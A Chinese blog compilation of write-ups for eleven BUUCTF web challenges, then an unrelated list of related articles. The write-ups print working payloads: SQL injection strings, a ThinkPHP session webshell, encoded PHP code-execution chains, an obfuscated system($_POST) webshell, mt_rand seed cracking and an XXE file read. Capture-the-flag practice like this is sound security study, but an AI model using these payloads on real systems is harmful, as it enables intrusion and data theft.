BUUCTF刷题十一道(09)

news2024/11/26 11:59:37

文章目录

  • October 2019 Twice SQL Injection
  • [GYCTF2020]EasyThinking
  • [BJDCTF2020]EzPHP
  • [HFCTF2020]JustEscape(vm2沙箱逃逸)
  • [GXYCTF2019]StrongestMind
  • [GKCTF 2021]easycms
  • [SUCTF 2018]GetShell
  • [b01lers2020]Life on Mars
  • [WMCTF2020]Make PHP Great Again
  • [MRCTF2020]Ezaudit
  • [CSAWQual 2019]Web_Unagi

October 2019 Twice SQL Injection

二次注入,可以github查看源码,当然不看也可以
注册账户admin' union select database() #
在这里插入图片描述
查表名字段
在这里插入图片描述
在这里插入图片描述
admin' union select group_concat(column_name) from information_schema.columns where table_name=0x666c6167#

admin' unoin select flag from flag#
在这里插入图片描述

[GYCTF2020]EasyThinking

学习文章

输入一个不存在的路由
在这里插入图片描述
用thinkphp 6.0

session可控,修改session,长度为32位,session后缀改为.php(加上.php后为32位)
然后再search搜索的内容会直接保存在/runtime/session/目录下,getshell

注册的时候抓包更改session
在这里插入图片描述

搜索的时候直接输入一句话,访问指定该session文件位置访问到一句话马文件
在这里插入图片描述
在这里插入图片描述
蚁剑连接无法查看flag,发现是有disable_functions限制,使用蚁剑绕过disable_functions插件
在这里插入图片描述
在这里插入图片描述

[BJDCTF2020]EzPHP

参考文章

ctrl+u源码
在这里插入图片描述
base32解码
在这里插入图片描述
1nD3x.php

<?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];//两个参数,shana,passwd
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { //使用url传参进行检测,`$_SERVER[‘QUERY_STRING’]`解析字符串时不会进行url解码,所以可以用url编码绕过
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

if (!preg_match('/http|https/i', $_GET['file'])) {//file参数
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { //看起来有preg_match换行绕过
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))//有POST变量时不检测GET变量,POST同时传一个值即可  
            die('fxck you! I hate English!'); 
    } 
} 

if (file_get_contents($file) !== 'debu_debu_aqua')//传参php://input或者data://
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){//绕过sha1
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
} ?>
This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
Aqua is the cutest five-year-old child in the world! Isn't it ?

第一个,$_SERVER[‘QUERY_STRING’]解析字符串时不会进行url解码,所以可以用url编码绕过,而$_GET['x']是会进行url解码的,所以我们要把可能出现在黑名单的字符串进行url编码后再传入

第二个,preg_match没开m多行匹配,所以可以用多行绕过,需要注意相关关键词需要url编码绕过第一层
在这里插入图片描述
第三个,$_REQUEST同时接收$_POST$_GET变量,POST优先级高于$_GET,所以这里POST传GET相应变量没字母的即可
在这里插入图片描述
第四个,file_get_contents()需要传入字符串,data://伪协议
在这里插入图片描述
第五个,sha1传数组或者两个加密内容为0e开头的都行
sh%61%6ea[]=1&pa%73%73%77d[]=2
在这里插入图片描述
第六个,extract变量覆盖
传一个flag覆盖一下code变量值和arg变量值
在这里插入图片描述
fl%61g[c%6fde]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//

完整payload:
file=data://te%78%74/pl%61%69%6e,de%62%75_de%62%75_aq%75%61 &de%62%75=aq%75%61_is_cu%74%65%0a &sh%61%6ea[]=1 &pa%73%73%77d[]=2 &fl%61g[c%6fde]=create_function &fl%61g[%61rg]=}var_dump(get_defined_vars());//
在这里插入图片描述

发现flag好像在rea1fl4g.php
在这里插入图片描述
没东西,可以通过之前尝试包含该文件,然后dump所有变量get_defined_vars()
直接拉过来大佬的payload吧
fl%61g[c%6fde]=create_function &fl%61g[%61rg]=}require(base64_dec%6fde(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());// //%6c为url编码的o,为了绕过黑名单
文件名base64编码绕过滤
在这里插入图片描述
假flag…直接抄作业了

<?php
$a="php://filter/read=convert.base64-encode/resource=rea1fl4g.php";

echo urlencode(~$a);
?>
//%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F


fl%61g[%61rg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));// 在这里插入图片描述
在这里插入图片描述

[HFCTF2020]JustEscape(vm2沙箱逃逸)

待补待补待补nodejs

[GXYCTF2019]StrongestMind

编写脚本

通过正则匹配获取页面上表达式,计算后post传参

学习文章

官方exp:

from requests import *
import re


s = session()
a = s.get("http://172.21.4.12:10044/index.php")
pattern = re.findall(r'\d+.[+-].\d+', a.text) 
c = eval(pattern[0])
a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
for i in range(1000):
	pattern = re.findall(r'\d+.[+-].\d+', a.text) 
	c = eval(pattern[0])
	print(c)
	a = s.post("http://172.21.4.12:10044/index.php", data = {"answer" : c})
print(a.text)

import requests
import re
import time

url = 'http://288076b5-3a7f-4530-8794-20da1e87d0bc.node4.buuoj.cn:81/'
session = requests.session()
req = session.get(url).text
flag = ""

for i in range(1010):
    try:
        result = re.findall("\<br\>\<br\>(\d.*?)\<br\>\<br\>",req)#获取[数字]
        result = "".join(result)#提取字符串
        result = eval(result)#运算
        print("time: "+ str(i) +"   "+"result: "+ str(result))

        data = {"answer":result}
        req = session.post(url,data=data).text
        if "flag{" in req:
            print(re.search("flag{.*}", req).group(0)[:50])
            break
        time.sleep(0.2)#防止访问太快断开连接
    except:
        print("[-]")


[GKCTF 2021]easycms

后台admin.php

这个可以开burp扫一下,或者用dirsearch扫一下,一些url会自动跳转index.php

后台密码12345

一般后台会考虑写马连接,这里不是直接编辑网页源代码,点设计->主题->导出
在这里插入图片描述
抓包会发现下载文件传的参数
在这里插入图片描述
改为/flag的base64编码即可下载flag

[SUCTF 2018]GetShell

向大佬学习


if($contents=file_get_contents($_FILES["file"]["tmp_name"])){
    $data=substr($contents,5);
    foreach ($black_char as $b) {
        if (stripos($data, $b) !== false){
            die("illegal char");
        }
    }     
} 

  1. 首先进行模糊测试,测黑名单过滤了哪些字符,代码段检测文件第五位之后的内容
    在这里插入图片描述
    burp fuzz
    能用的字符如下
    在这里插入图片描述
    使用取反RCE,本题不能用双引号,看大佬博客拉来的payload
$_=[]; //array
$__=$_.$_; /arrayarray
$_=($_==$__);//$_=(array==arrayarray) false 0
$__=($_==$_);//$__=(array==array) true 1

$___=~[$__].~[$__].~[$__].~[$__].~[$__].~[$__];//system
$____=~[$__].~[$__].~[$__].~[$__].~[$__];//_POST

$___($$____[_]);//system($_POST[_]);


内容要先写到文件里再上传,不然编码有问题

在这里插入图片描述
在这里插入图片描述

这题的flag在环境变量中,可能是配置问题,使用下env命令即可得出flag。

在这里插入图片描述

[b01lers2020]Life on Mars

博客来源

抓包发现有关键词,SQL注入

'or 1=1这个测试我没做成功,看到佬直接用union

chryse_planitia/**/union/**/select/**/1,2

在这里插入图片描述
数据库chryse_planitia/**/union/**/select/**/database(),2
在这里插入图片描述
表名chryse_planitia/**/union/**/select/**/group_concat(schema_name),2/**/from/**/information_schema.schemata

在这里插入图片描述
表名chryse_planitia/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.tables/**/where/**/table_schema='alien_code'
在这里插入图片描述
列名chryse_planitia/**/union/**/select/**/group_concat(table_name),2/**/from/**/information_schema.columns/**/where/**/table_name='code'

在这里插入图片描述
flag
chryse_planitia/**/union/**/select/**/group_concat(code),2/**/from/**/alien_code.code
在这里插入图片描述

[WMCTF2020]Make PHP Great Again

参考博客
漏洞介绍、复现、必读

payload:http://a4b822a9-e181-4395-b9be-014a4acc375e.node4.buuoj.cn:81/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
在这里插入图片描述

[MRCTF2020]Ezaudit

页面点了点没什么信息,试了试www.zip有源码

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???


访问login.html,post设置login
在这里插入图片描述
已知公钥为KVQP0LdJKRaV3n9D
将其转换为能被php_mt_seed识别的序列,字典字符串要和题目里一样


    <?php
    $allowable_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';//这里要和题目一样
    $len = strlen($allowable_characters) - 1;
    $pass = "KVQP0LdJKRaV3n9D";
    for ($i = 0; $i < strlen($pass); $i++) {
      $number = strpos($allowable_characters, $pass[$i]);
      echo "$number $number 0 $len  ";
    }
    echo "\n";
    ?>

# 36 36 0 61  47 47 0 61  42 42 0 61  41 41 0 61  52 52 0 61  37 37 0 61  3 3 0 61  35 35 0 61  36 36 0 61  43 43 0 61  0 0 0 61  47 47 0 61  55 55 0 61  13 13 0 61  61 61 0 61  29 29 0 61

在这里插入图片描述
1775196155

然后使用该种子生成私钥


mt_srand(1775196155);
$length=12;
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
echo $private_key;

在这里插入图片描述
在这里插入图片描述
KVQP0LdJKRaV3n9D
XuNhoueCDCGc

密码用万能密码绕过
在这里插入图片描述

[CSAWQual 2019]Web_Unagi

flag在/flag

上传xml文档会被解析,但是有waf保护

编码绕过iconv -f utf8 -t utf-16 1.xml>2.xml

绕过WAF保护的XXE

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>gg</username>
        <password>passwd1</password>
        <name>ggg</name>
        <email>alice@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1042682.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

奥迪 Q7 e-tron | 无法通过插电式充电器充电

虽然电动汽车似乎是未来的方向&#xff0c;但插电式混合动力车辆在实现最佳两全之间似乎是当下的主流。这类车辆可以纯电动驾驶&#xff0c;满足当前城市的低排放规定&#xff0c;然而&#xff0c;在内燃机的支持下&#xff0c;我们可以无缝地行驶&#xff0c;充分利用无需担心…

WebDAV之π-Disk派盘 + 纸间书摘

纸间书摘是专为喜欢做读书笔记的小伙伴量身打造的专属书摘app,不仅仅可以从别的app中导入图书,并且还能来帮助你选择性复制可以来轻松的搞定哦 所有功能完全免费,没有广告,不限制识别次数。 多种备份,本地备份和基于WebDAV协议的云端备份。 丰富的书摘导出功能,用户可…

求职应聘,在线测评要不要真实的去做?

求职的朋友们&#xff0c;今年的行情不容乐观&#xff0c;所以要更加努力才能争取到理想的工作岗位。找工作是一个不衰的话题&#xff0c;不仅仅是大学毕业生们&#xff0c;职场人都绕不过去的话题。 如今越来越的企业采用在线测评&#xff0c;在知乎上很多盆友都遇到了&…

多线程的死锁问题

可重入和不可重入&#x1f60a;&#x1f60a;&#x1f60a; 一个线程针对同一个对象,连续加锁两次,是否会有问题 ~~ 如果没问题,就叫可重入的.如果有问题,就叫不可重入的. 代码示例&#x1f349;&#x1f349;&#x1f349;: synchronized public void add(){synchronized (…

Mixin和HTX遭黑客攻击!后者全赔,前者只赔50%引投资者不满?

资产安全一直都是区块链老生常谈的话题&#xff0c;而最近一系列安全事件频发引起了投资者的担忧&#xff0c;先是V神的推特账号被盗&#xff0c;再是亿万富翁马克库班 (Mark Cuban) 的小狐狸钱包被攻击&#xff0c;如今&#xff0c;黑客又盯上了承载大量资金的加密机构。 9月2…

如何提取音频中的纯人声?新手也能快速掌握

在数字媒体时代&#xff0c;无论是音乐、电影还是短视频制作&#xff0c;音频处理都是一个不可或缺的技能&#xff0c;尤其是人声提取部分&#xff0c;今天就来教大家怎样在一段音频中把人声部分提取出来&#xff0c;新手也能快速掌握&#xff01; 第一步&#xff1a;打开【音分…

(手撕)快速排序 ----->c语言实现 +图解

目录 目录&#xff1a; 1:快速排序的思想 2:快速排序的三种形式 3:快速排序的优化方法 前言&#xff1a;快速排序是一种非常重要的排序我们需要掌握它&#xff0c;当然肯定也相比前面的那些排序有一定的难度&#xff0c;但是相信本篇文章会让你对快排有重新的理解&#xff0c;…

vue3 + mark.js | 实现文字标注功能

页面效果 具体实现 新增 1、监听鼠标抬起事件&#xff0c;通过window.getSelection()方法获取鼠标用户选择的文本范围或光标的当前位置。2、通过 选中的文字长度是否大于0或window.getSelection().isCollapsed (返回一个布尔值用于描述选区的起始点和终止点是否位于一个位置&…

TensorFlow入门(三、TensorFlow模型的运行机制)

TensorFlow通过"图"和会话的方式分离了计算的定义和执行,即它的运行机制是"定义"与"运行"相分离的。从操作层面可以把它抽象成两种:模型构建和模型运行。 TensorFlow模型中的几个概念: ①张量(tensor):数据,即某一类型的多维数组 ②变量(Vari…

Wi-Fi直连分享:Android设备间的高速连接

Wi-Fi直连分享&#xff1a;Android设备间的高速连接 引言 随着无线局域网&#xff08;Wi-Fi&#xff09;的普及和发展&#xff0c;使用Wi-Fi直连技术&#xff08;P2P&#xff09;在没有中间接入点的情况下实现设备间直接互联成为可能。通过Wi-Fi直连&#xff0c;具备相应硬件…

链动2+1模式:如何用二级分销打造高效团队,实现销量突破

你是否想要拥有一个高效的团队&#xff0c;让你的销量快速提升&#xff1f;你是否厌倦了传统的多层级分销模式&#xff0c;觉得它太复杂、太难管理、太不合规&#xff1f;你是否想要找到一种简单、合理、合法的商业模式&#xff0c;让你的收益稳定、可持续、可复制&#xff1f;…

【深度学习实验】卷积神经网络(三):自定义二维卷积神经网络:步长和填充、输入输出通道

目录 一、实验介绍 二、实验环境 1. 配置虚拟环境 2. 库版本介绍 三、实验内容 0. 导入必要的工具包 1. 步长、填充 a. 二维互相关运算&#xff08;corr2d&#xff09; b. 二维卷积层类&#xff08;Conv2D&#xff09; c. 模型测试 d. 代码整合 2. 输入输出通道 a…

前缀树-Trie树

前缀树—Trie树&#xff0c;也叫作“单词查找树”、“字典树” 它属于多叉树结构&#xff0c;典型应用是用于统计&#xff0c;排序和保存大量的字符串&#xff08;但不仅限于字符串&#xff09;&#xff0c;所以经常被搜索引擎系统用于文本词频统计。它的优点是&#xff1a;利…

【前段基础入门之】=>玩转【CSS】开篇章!

目录 CSS 的简介&#xff1a;CSS的编写位置行内样式内部样式外部样式 样式表的优先级CSS语法规范&#xff1a; 总结&#xff1a; CSS 的简介&#xff1a; 层叠样式表&#xff08;Cascading Style Sheets&#xff0c;缩写为 CSS&#xff09;是一种样式表语言&#xff0c;用来描述…

前端项目练习(练习-007-typescript-02)

学习前&#xff0c;首先&#xff0c;创建一个web-007项目&#xff0c;内容和web-006一样。&#xff08;注意将package.json中的name改为web-007&#xff09; 前面的例子&#xff0c;我们使用了nodejswebpack&#xff0c;成功创建了包含html&#xff0c;ts&#xff0c;css三个文…

【.net core】使用nssm发布WEB项目

nssm下载地址&#xff1a;NSSM - the Non-Sucking Service Manager 配置方式 修改服务在nssm工具下输入命令:nssm edit jntyjr 其中 jntyjr为添加服务时设置的Service name nssm可以设置任何以参数启动的应用程序以服务形式启动,通过设置参数内容启动服务 以上配置等同于执行…

ReferenceError: primordials is not defined错误解决

问题场景&#xff1a; 从github上拉了一个项目&#xff0c;想要学习一下&#xff0c;在起服务的时候出现了这个问题。 造成的原因&#xff1a; gulp 与 node 版本起冲突。 1&#xff09;首先&#xff0c;安装 gulp&#xff0c;查看版本&#xff1b; npm install gulp -g g…

如何设计科研问卷?

问卷研究法的最大特点在于能在较短时间内调查很多研究对象取得大量的资料&#xff0c;并能对资料进行数量化处理&#xff0c;经济省时&#xff0c;因此是教育研究中使用频率较高、用途较广泛的一种研究方法。问卷研究法的关键在于设计一份信度、效度较高&#xff0c;内容合理的…

二维码怎么分解成链接?线上快速解码教学

怎么分解二维码呢&#xff1f;有些时候我们需要将二维码图片分解成链接使用&#xff0c;所以想要使用解码功能一般都需要通过二维码生成器工具来完成。那么如何在线将二维码分解成链接呢&#xff0c;可能有些小伙伴还不知道怎么操作&#xff0c;下面就给大家分享一下免费二维码…

较真儿学源码系列-PowerJob时间轮源码分析

PowerJob版本&#xff1a;4.3.2-main。 之前分析过PowerJob的启动流程源码&#xff0c;感兴趣的可以查看《较真儿学源码系列-PowerJob启动流程源码分析》 1 简介 试想一下&#xff0c;如果此时有一个需要延迟3s执行的任务&#xff0c;你会怎么实现呢&#xff1f;一种常规的思路…